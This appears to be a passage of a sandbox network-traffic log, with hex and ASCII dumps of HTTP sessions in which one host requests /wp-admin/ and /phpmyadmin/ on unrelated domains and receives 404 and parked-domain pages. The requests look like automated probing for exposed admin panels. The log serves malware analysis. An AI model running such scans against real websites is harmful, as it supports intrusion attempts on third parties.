65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:41.720413923 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>
Dec 2, 2023 18:04:41.738828897 CET	262	OUT	GET /wp-admin/ HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://gztit.com/wp-login.php
Dec 2, 2023 18:04:42.075787067 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:30 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:42.075799942 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	60200	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.898582935 CET	232	OUT	GET /phpmyadmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:42.223683119 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Set-Cookie: vsid=935vr449082282011766893; expires=Thu, 30-Nov-2028 17:04:42 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_pGAiZi3BnM9l+oB4wKyrUqe2r0rNxC0VkCbTjJ6vRErqCY4lqSjOUJsbDyHQNGU3sZDAPfT8X9uHUHXMwkgRWw== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 32 62 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 69 64 3d 22 32 31 66 64 63 61 32 32 38 31 38 33 33 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 61 72 61 6d 73 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 61 72 61 6d 73 3d 22 22 7d 69 66 28 21 28 22 63 6d 70 5f 68 6f 73 74 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 68 6f 73 74 3d 22 61 2e 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 64 6e 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 64 6e 3d 22 63 64 6e 2e 63 6f 6e 73 65 Data Ascii: b2bf<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" in window)){window.cmp_cdid="21fdca2281833"}if(!("cmp_params" in window)){window.cmp_params=""}if(!("cmp_host" in window)){window.cmp_host="a.delivery.consentmanager.net"}if(!("cmp_cdn" in window)){window.cmp_cdn="cdn.conse
Dec 2, 2023 18:04:42.223718882 CET	1274	IN	Data Raw: 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 7d 69 66 28 21 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 77 69 6e 64 6f 77 29 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 70 72 6f 74 6f 3d 22 68 74 74 70 73 3a 22 7d 69 66 28 21 28 22 63 6d 70 5f 63 6f Data Ascii: ntmanager.net"}if(!("cmp_proto" in window)){window.cmp_proto="https:"}if(!("cmp_codesrc" in window)){window.cmp_codesrc="1"}window.cmp_getsupportedLangs=function(){var b=["DE","EN","FR","IT","NO","DA","FI","ES","PT","RO","BG","ET","EL","GA","H
Dec 2, 2023 18:04:42.223773003 CET	1274	IN	Data Raw: 74 6f 55 70 70 65 72 43 61 73 65 28 29 29 7d 65 6c 73 65 7b 69 66 28 22 63 6d 70 5f 73 65 74 6c 61 6e 67 22 20 69 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 6c 61 6e 67 21 3d 22 22 29 7b 63 2e 70 75 73 68 28 77 69 6e Data Ascii: toUpperCase())}else{if("cmp_setlang" in window&&window.cmp_setlang!=""){c.push(window.cmp_setlang.toUpperCase())}else{if(a.length>0){for(var d=0;d<a.length;d++){c.push(a[d])}}}}}if("language" in navigator){c.push(navigator.language)}if("userLa
Dec 2, 2023 18:04:42.330024958 CET	1274	IN	Data Raw: 61 72 20 6b 3d 28 22 63 6d 70 5f 70 72 6f 74 6f 22 20 69 6e 20 68 29 3f 68 2e 63 6d 70 5f 70 72 6f 74 6f 3a 22 68 74 74 70 73 3a 22 3b 69 66 28 6b 21 3d 22 68 74 74 70 3a 22 26 26 6b 21 3d 22 68 74 74 70 73 3a 22 29 7b 6b 3d 22 68 74 74 70 73 3a Data Ascii: ar k=("cmp_proto" in h)?h.cmp_proto:"https:";if(k!="http:"&&k!="https:"){k="https:"}var g=("cmp_ref" in h)?h.cmp_ref:location.href;var j=u.createElement("script");j.setAttribute("data-cmp-ab","1");var c=x("cmpdesign","cmp_design" in h?h.cmp_de
Dec 2, 2023 18:04:42.330065012 CET	1274	IN	Data Raw: 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 76 61 72 20 6d 3d 22 6a 73 22 3b 76 61 72 20 70 3d 78 28 22 63 6d 70 Data Ascii: ength==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}var m="js";var p=x("cmpdebugunminimized","cmpdebugunminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(
Dec 2, 2023 18:04:42.404783010 CET	1274	IN	Data Raw: 54 69 6d 65 6f 75 74 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 72 61 6d 65 2c 31 30 2c 62 29 7d 7d 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 62 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b Data Ascii: Timeout(window.cmp_addFrame,10,b)}}};window.cmp_rc=function(h){var b=document.cookie;var f="";var d=0;while(b!=""&&d<100){d++;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.s
Dec 2, 2023 18:04:42.404958010 CET	1274	IN	Data Raw: 5f 67 70 70 73 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 3b 5f 5f 67 70 70 2e 71 3d 5f 5f 67 70 70 2e 71 7c 7c 5b 5d 3b 69 66 28 21 61 2e 6c 65 6e 67 74 68 29 7b 72 65 74 75 72 6e 20 5f 5f 67 70 70 Data Ascii: _gppstub=function(){var a=arguments;__gpp.q=__gpp.q\|\|[];if(!a.length){return __gpp.q}var g=a[0];var f=a.length>1?a[1]:null;var e=a.length>2?a[2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|
Dec 2, 2023 18:04:42.436261892 CET	1274	IN	Data Raw: 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 65 29 3a 65 2c 22 2a 22 29 7d 29 7d Data Ascii: e:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__uspapiCall" in c){var b=c.__uspapiCall;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue
Dec 2, 2023 18:04:42.436300993 CET	1274	IN	Data Raw: 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 6f 62 6a 65 63 74 22 26 26 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 3d 3d 3d 22 75 6e Data Ascii: of(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_gppstub;window[a].msgHandler=window.cmp_msghandler;window.addEventListener("message",window.cmp_msghandler,fal
Dec 2, 2023 18:04:42.511094093 CET	1274	IN	Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 30 70 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 2f 73 6b 2d Data Ascii: yle.height="0px";imglog.style.width="0px";imglog.src="http://airanatoliava.org/sk-logabpstatus.php?a=ZUpEMzRFM0lDQWl5MlF3Sk5oRzBOazRNQmxFd2x4a2ZBL0hBQi9Vc1V1S3VYRlgzZGdVVDFaSktLWWNuL3I2MzhhZXdHdkw0dTl5OHU1RC9RMzJ0ekVVSDV1TkZZY3NFK0g3Q2hwTFZSUU
Dec 2, 2023 18:04:42.511111021 CET	1274	IN	Data Raw: 69 34 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2e 77 6f 66 66 32 22 29 20 66 6f 72 Data Ascii: i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2") format("woff2"),url("http://i4.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf") format("truetype"),url("http://i4.cdn-image.com/__media__/f

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	60204	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.901153088 CET	232	OUT	GET /phpmyadmin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:42.385495901 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Set-Cookie: vsid=934vr449082282023146255; expires=Thu, 30-Nov-2028 17:04:42 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 